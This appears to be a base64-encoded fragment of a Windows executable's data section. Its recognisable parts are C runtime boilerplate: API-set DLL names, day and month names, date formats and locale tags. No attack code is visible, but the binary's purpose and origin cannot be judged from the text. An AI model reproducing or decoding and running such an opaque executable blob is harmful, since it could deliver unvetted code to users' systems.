BtAHMALQB3AGkAbgAtAGMAbwByAGUALQBzAHkAbgBjAGgALQBsADEALQAyAC0AMAAAAAAAAAAAAGsAZQByAG4AZQBsADMAMgAAAAAAAAAAAGEAcABpAC0AbQBzAC0AAAAAAAAAAgAAAEZsc0FsbG9jAAAAAAAAAAAAAAAAAgAAAEZsc0ZyZWUAAAAAAAIAAABGbHNHZXRWYWx1ZQAAAAAAAAAAAAIAAABGbHNTZXRWYWx1ZQAAAAAAAQAAAAIAAABJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uRXgAAAAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAACAAAAAQAAAAAAAAAAAAAABAAAAAQAAAAFAAAABAAAAAUAAAAEAAAABQAAAAAAAAAFAAAAAAAAAAUAAAAAAAAABQAAAAAAAAAFAAAAAAAAAAUAAAADAAAABQAAAAMAAAAAAAAAAAAAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAgAAAACAAAAAAAAAAMAAAAIAAAABQAAAAAAAAAFAAAACAAAAAAAAAAHAAAAAAAAAAgAAAAAAAAAAAAAAAMAAAAHAAAAAwAAAAAAAAADAAAAAAAAAAUAAAAHAAAABQAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAAAAAAAgAAAAAAAAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAABgAAAAAAAAAGAAAACAAAAAYAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAIAAAABwAAAAAAAAAHAAAACAAAAAcAAAAIAAAABwAAAAgAAAAHAAAACAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAACAAAAAAAAAAHAAAAAAAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAACAAAAAAAAAAIAAAAAAAAAAgAAAAGAAAACAAAAAAAAAAIAAAAAQAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAMAAAAIAAAABgAAAAgAAAAAAAAACAAAAAYAAAAIAAAAAgAAAAgAAAAAAAAAAQAAAAQAAAAAAAAABQAAAAAAAAAFAAAABAAAAAUAAAAEAAAABQAAAAQAAAAFAAAACAAAAAUAAAAIAAAABQAAAAgAAAAFAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAADAAAAAAAAAAgAAAAAAAAABQAAAAAAAAAIAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAgAAAAgAAAACAAAABwAAAAMAAAAIAAAABQAAAAAAAAAFAAAABwAAAAgAAAAAAAAAAAAAAAAAAAAAAAAABwAAAAAAAAAAAAAAAwAAAAcAAAADAAAAAAAAAAMAAAAAAAAABQAAAAAAAAAFAAAAAAAAAAgAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAACAAAAAgAAAAAAAAACAAAAAgAAAAIAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAACAAAAAYAAAAAAAAABgAAAAgAAA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BsAGkAegBhAHQAaQBvAG4ALQBvAGIAcwBvAGwAZQB0AGUALQBsADEALQAyAC0AMAAAAAAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AcAByAG8AYwBlAHMAcwB0AGgAcgBlAGEAZABzAC0AbAAxAC0AMQAtADIAAAAAAAAAYQBwAGkALQBtAHMALQB3AGkAbgAtAGMAbwByAGUALQBzAHQAcgBpAG4AZwAtAGwAMQAtADEALQAwAAAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQBjAG8AcgBlAC0AcwB5AHMAaQBuAGYAbwAtAGwAMQAtADIALQAxAAAAAABhAHAAaQAtAG0AcwAtAHcAaQBuAC0AYwBvAHIAZQAtAHcAaQBuAHIAdAAtAGwAMQAtADEALQAwAAAAAAAAAAAAYQBwAGkALQBtAHMALQB3AGkAbgAtAGMAbwByAGUALQB4AHMAdABhAHQAZQAtAGwAMgAtADEALQAwAAAAAAAAAGEAcABpAC0AbQBzAC0AdwBpAG4ALQByAHQAYwBvAHIAZQAtAG4AdAB1AHMAZQByAC0AdwBpAG4AZABvAHcALQBsADEALQAxAC0AMAAAAAAAYQBwAGkALQBtAHMALQB3AGkAbgAtAHMAZQBjAHUAcgBpAHQAeQAtAHMAeQBzAHQAZQBtAGYAdQBuAGMAdABpAG8AbgBzAC0AbAAxAC0AMQAtADAAAAAAAAAAAAAAAAAAZQB4AHQALQBtAHMALQB3AGkAbgAtAG4AdAB1AHMAZQByAC0AZABpAGEAbABvAGcAYgBvAHgALQBsADEALQAxAC0AMAAAAAAAAAAAAAAAAABlAHgAdAAtAG0AcwAtAHcAaQBuAC0AbgB0AHUAcwBlAHIALQB3AGkAbgBkAG8AdwBzAHQAYQB0AGkAbwBuAC0AbAAxAC0AMQAtADAAAAAAAGEAZAB2AGEAcABpADMAMgAAAAAAAAAAAAAAAAAAAAAAYQBwAGkALQBtAHMALQB3AGkAbgAtAGEAcABwAG0AbwBkAGUAbAAtAHIAdQBuAHQAaQBtAGUALQBsADEALQAxAC0AMgAAAAAAdQBzAGUAcgAzADIAAAAAAGUAeAB0AC0AbQBzAC0AAAAGAAAAEAAAAENvbXBhcmVTdHJpbmdFeAABAAAAEAAAAAEAAA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